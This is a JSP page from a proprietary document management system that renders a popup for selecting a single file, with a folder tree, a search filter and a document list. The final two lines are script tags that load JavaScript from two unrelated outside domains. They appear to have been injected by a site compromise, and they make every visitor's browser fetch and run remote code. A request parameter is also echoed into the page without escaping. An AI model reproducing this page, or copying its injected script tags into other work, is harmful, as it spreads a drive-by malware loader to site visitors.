<%
/*
 * @(#)ListDmsSelectSingle.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsSelectSingle.jsp

  This is a ListDmsSelectSingle page.  It allows multiple file to be selected.

    @author             Angus Shiu
    @company            DCIVision Ltd
    @creation date      23/10/2003
    @version            $Revision: 1.25.2.22 $
*/

%>
<% request.setCharacterEncoding("UTF-8");  %>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsSelectSingleForm" scope="request" class="com.dcivision.dms.web.ListDmsSelectSingleForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "dmsSelectSingleList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"common.label.select", GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.document_name", "DOCUMENT_NAME"}
                          };

  String[][] SEARCH_MAP = { {"dms.label.document_name", "DOCUMENT_NAME"}
                          };

  String rootID = listDmsSelectSingleForm.getRootID()==null? request.getParameter("rootID"): listDmsSelectSingleForm.getRootID();
  String parentID = listDmsSelectSingleForm.getParentID()==null? request.getParameter("parentID"): listDmsSelectSingleForm.getParentID();

  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  List folderTreeList = (List)request.getAttribute("folderTreeList");
  String selectedLocation = ""; //(String)request.getAttribute("location");

  String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  List versionList = (ArrayList) request.getAttribute(LIST_NAME+"_versionList");

  int     COLUMN_OFFSET = 0;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
    /* Select the corresponding preference style */
    String preferenceID = sessionContainer.getPreference();
    if (preferenceID==null) {
      preferenceID = SystemParameterFactory.getSystemParameter(SystemParameterConstant.PREFERENCE);
    }

   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);

   boolean bListVersion = false;
   DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
   RootRetrievalManager rootRetrievalManager = new RootRetrievalManager(sessionContainer,conn);
   PermissionManager permissionManager = sessionContainer.getPermissionManager();

   String sCurFunctionCode = listDmsSelectSingleForm.getCurFunctionCode()==null ? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY) : listDmsSelectSingleForm.getCurFunctionCode();
   //Permission string
   String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, rootFolder.getID());
   DmsRoot personalRoot = (DmsRoot) rootRetrievalManager.getRootObjectByOwnerID(sessionContainer.getUserRecordID());
   if (personalRoot.getID().intValue() == rootFolder.getRootID().intValue()){
     permission = "PERSONAL";
     sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
   }else{
     sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
   }
   LogFactory.getLog(this.getClass()).debug("sCurFunctionCode = " + sCurFunctionCode);
   if (permission=="PERSONAL" || permission.indexOf("Z")>-1 ) {
    bListVersion=true;
    //LABEL_MAP[2][0] = "dms.columnheader.version";
   }


%>

<script language="javascript">
<!--

function changeRoot(rootCombination) {
  var val = rootCombination.split(";");
  setHiddenValue(val[0], val[1]);
}

function updateTargetLocation(docID, docName) {
  var hiddenField = document.listDmsSelectSingleForm.selectedID;
  var displayField = document.listDmsSelectSingleForm.destinationPath;
  var displayStr = displayField.value;

  hiddenField.value = docID;
  displayField.value =  docName;

  return false;
}

function OptFileSelection(){
  var parent = window.opener;

  if (document.listDmsSelectSingleForm.selectedID.value==''){
    alert("<bean:message key='dms.message.choose_file'/>");
    return false;
  }

  var form = parent.document.<%=listDmsSelectSingleForm.getFormName()%>;
  if (form!=null && form!=undefined) {
    form.<%=listDmsSelectSingleForm.getDisplayFieldName()%>.value = document.listDmsSelectSingleForm.destinationPath.value;
    form.<%=listDmsSelectSingleForm.getHiddenFieldName()%>.value = document.listDmsSelectSingleForm.selectedID.value;

    var parentFormName = '<%=listDmsSelectSingleForm.getFormName()%>';
    if (parentFormName == 'maintMtmDocumentRelationshipForm') {
      form.documentName.value = document.listDmsSelectSingleForm.destinationPath.value;
    }
  }

  window.close();
}

function singleFileSelected() {
  var parent = window.opener;
  var displayVal = "";
  var hiddenVal = document.listDmsSelectSingleForm.selectedDoc.value;

  displayVal = selectMenu.options[0].text;
  var namePos = displayVal.indexOf(" (");
  var idPos = hiddenVal.indexOf(":");

  var form = parent.document.<%=listDmsSelectSingleForm.getFormName()%>;
  form.<%=listDmsSelectSingleForm.getDisplayFieldName()%>.value = displayVal.substring(0 , namePos);
  form.<%=listDmsSelectSingleForm.getHiddenFieldName()%>.value = hiddenVal.substring(0, idPos);


  var parentFormName = '<%=listDmsSelectSingleForm.getFormName()%>';
  if (parentFormName == 'maintMtmDocumentRelationshipForm') {
    form.documentName.value = displayVal.substring(0 , namePos);
  }

  window.close();
}
-->
</script>
<!-- Form Section Begin -->
<html:form action="dms/ListDmsSelectSingle" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property='rootID'/>
<html:hidden property='parentID'/>
<html:hidden property='formName'/>
<html:hidden property='hiddenFieldName'/>
<html:hidden property='displayFieldName'/>
<html:hidden property='selectedID'/>
<html:hidden property="onlyPublic" value='<%= request.getParameter("onlyPublic") %>'/>

<div class="popupPanelTitle">
	<bean:message key="dms.label.select.file_folder"/>
</div>

<div class="popupWrapperContainer">
<!-- Search Panel Begin -->
<!-- Page List Bar Begin -->
<layout:listBar>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType'>
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress='applyFilter();'/></td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton label="common.label.search" onClick="return(OpList(listDmsSelectSingleForm, '${listDmsSelectSingleForm.sortAttribute}', '${listDmsSelectSingleForm.sortOrder}'))"/>
      <html:standardButton label="common.label.reset" onClick="return(OpListReset(listDmsSelectSingleForm))"/>
    </div>
    <br style="clear:both" />
    <script language="JavaScript">
    <!--
    function applyFilter(){
        if(event.keyCode==13) {
            OpList(listDmsDocumentForm, '<bean:write name='listDmsDocumentForm' property='sortAttribute' replace=''/>', '<bean:write name='listDmsDocumentForm' property='sortOrder' replace=''/>');
        }
    }
    //-->
    </script>
</div>
<!-- Search Panel End -->

<div>
<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <tr>
  <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
 <td valign="top" class="dtreeContainer">
 <div id="treeContainer">
  <!-- Hierarchy Tree Begin -->
<%
  String jspPageMappingName = "ListDmsSelectMultiple";
  String pageViewOption = listDmsSelectSingleForm.getPageViewOption();
  if(Utility.isEmpty(pageViewOption) || "null".equals(pageViewOption)){
    pageViewOption="";
  }
%>
<script language="JavaScript">
<!--
function handleTreeNodeGeneralDoc(docID,rootID){
  document.listDmsSelectSingleForm.parentID.value=docID;
  document.listDmsSelectSingleForm.rootID.value=rootID;
  document.listDmsSelectSingleForm.selectedID.value='';
  document.listDmsSelectSingleForm.submit();
}

function handleTreeNodeCompoundDoc(docID,rootID){ 
  handleTreeNodeGeneralDoc(docID,rootID);  
}

function handleTreeNodePaperDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodeEmailDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodeFormDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodeFlowDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeCompoundDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodePaperDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeGeneralDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeEmailDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeFormDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeFlowDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function setHiddenValue(parentID, rootID) {
  //var targetLoc = tree.getFullPathString();

  //document.maintDmsArchiveForm.addressBar.value=replaceSpecialChar(targetLoc.substring(0, targetLoc.length-1));
  document.listDmsSelectSingleForm.parentID.value=parentID;
  document.listDmsSelectSingleForm.rootID.value=rootID;
  document.listDmsSelectSingleForm.selectedID.value='';
  document.listDmsSelectSingleForm.submit();
}

function changeRoot(rootCombination) {
  var val = rootCombination.split(";");
  handleTreeNodeGeneralDoc(val[0], val[1]);
}

function clickNodeAction(tree, node) {
  var nodeId = node.id;
  var rootId = tree.rootId;
  var path   = tree.getFullPathString(node.idx);
  switch (node.tp) {
    case '<%=DmsDocument.COMPOUND_DOC_TYPE%>' : handleTreeNodeCompoundDoc(nodeId, rootId); break;
    case '<%=DmsDocument.PAPER_DOC_TYPE%>'    : handleTreeNodePaperDoc(nodeId, rootId); break;
    case '<%=DmsDocument.EMAIL_DOC_TYPE%>'    : handleTreeNodeEmailDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FORM_DOC_TYPE%>'     : handleTreeNodeFormDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FLOW_DOC_TYPE%>'     : handleTreeNodeFlowDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FOLDER_TYPE%>'       : setHiddenValue(nodeId, rootId, path); break;
    default : alert("not support document type("+node.tp+")");
  }
}
//-->
</script>
<div id="treeFrameSelection">
  <select name="publicRootList" class="form-dmstree-pulldown" onchange="javascript:changeRoot(this.value);">
    <logic:present name="publicRootList">
      <logic:iterate id="dmsRoot" name="publicRootList" scope="request">
        <option value='<%=((DmsRoot)dmsRoot).getRootFolderID()+ ";" + ((DmsRoot)dmsRoot).getID()%>' <%=(rootID.equals(((DmsRoot)dmsRoot).getID().toString())? "selected" : "")%> >
          <bean:write name="dmsRoot" property="rootName"/>
        </option>
      </logic:iterate>
    </logic:present>
  </select>
</div>
<div id="treeFrame" class="dtreeContainer">
<dms:tree name='<%="select"+rootID%>' rootId="<%=rootID%>" expandId="<%=parentID%>"></dms:tree>
</div>
    <script language="javascript">
    <!--
        var divHeight = GetInnerHeight() - 200;
        FindObj("treeFrame").style.height = divHeight+"px";
    -->
    </script>
<!-- Hierarchy Tree End -->
</div>
  </td>
  <% } %>
  <td valign="top">
  <div id="listContainer">
  <div id="dataGrid" class="listTable">
  <table width="100%">
    <!-- Table Column Header Begin -->
    <tr>
    <layout:columnHeader form="listDmsSelectSingleForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsSelectSingleForm.getSortAttribute()%>" sortOrder="<%=listDmsSelectSingleForm.getSortOrder()%>" copyColumn="false" checkColumn="false" editColumn="false"/>
    </tr>
    <!-- Table Column Header End -->
    <!-- Record Looping Begin -->
    <logic:iterate id="dmsdocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
    <tr onMouseDown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsdocument).getID()%>);">
      <td align="center"><%
      List versionAvail = (ArrayList) versionList.get( listLoopCnt.intValue() );
      DmsVersion version = (DmsVersion) versionAvail.get(0);
      %>
      <%//Update By Jim Zhou      2007/05/10      EIP-602%>
        <a href="javascript://" onClick="return updateTargetLocation(<%=((DmsDocument)dmsdocument).getID()%>, '<%=TextUtility.escapeJSString(((DmsDocument)dmsdocument).getDocumentName())%>');" ><html:img src='IconGoBlue16.gif' common='true'/>
        </a>
      <%//Update End%>
      </td>
      <td align="left">
      <dms:documentInfo docObject='<%=(DmsDocument)dmsdocument%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' onClick='false' hasUnderLine='false' />
      </td>
    </tr>
    </logic:iterate>
  </table>
    <input type="hidden" name='listCnt' value='<bean:write name='listLoopCnt'/>'>
  </div>
<!-- Pager Information Begin -->
<div class="listStatusBar" style="position:absolute;bottom:0px;z-index:10;">
  <layout:pager form="listDmsSelectSingleForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
</div>
<!-- Pager Information End -->
  </td></tr></table>
  </div>
<br>
    <table cellpadding="0" cellspacing="0" border="0" width="100%">
      <tr>
        <layout:sectionHeader mandatory="true" blackLine="false"/>
        <td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='dms.label.file_selected'/>:</nobr></td>
        <td class="formFieldSmall" >
        <html:text property="destinationPath" size="70" maxlength="255" value='<%=selectedLocation%>' readonly="true"/>
        </td>
      </tr>
    </table>
<!-- Table Showing Record List End -->
</div>

<div id="popupPanelBottom">
<div id="buttonSection">
	<html:standardButton label="common.label.confirm" onClick="return OptFileSelection()"/>	
    <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
</div>
</div>

</html:form>
<!-- Form Section End -->
<script>addLoadEvent(function(){SetDivHeight('listContainer', 'treeContainer')});</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>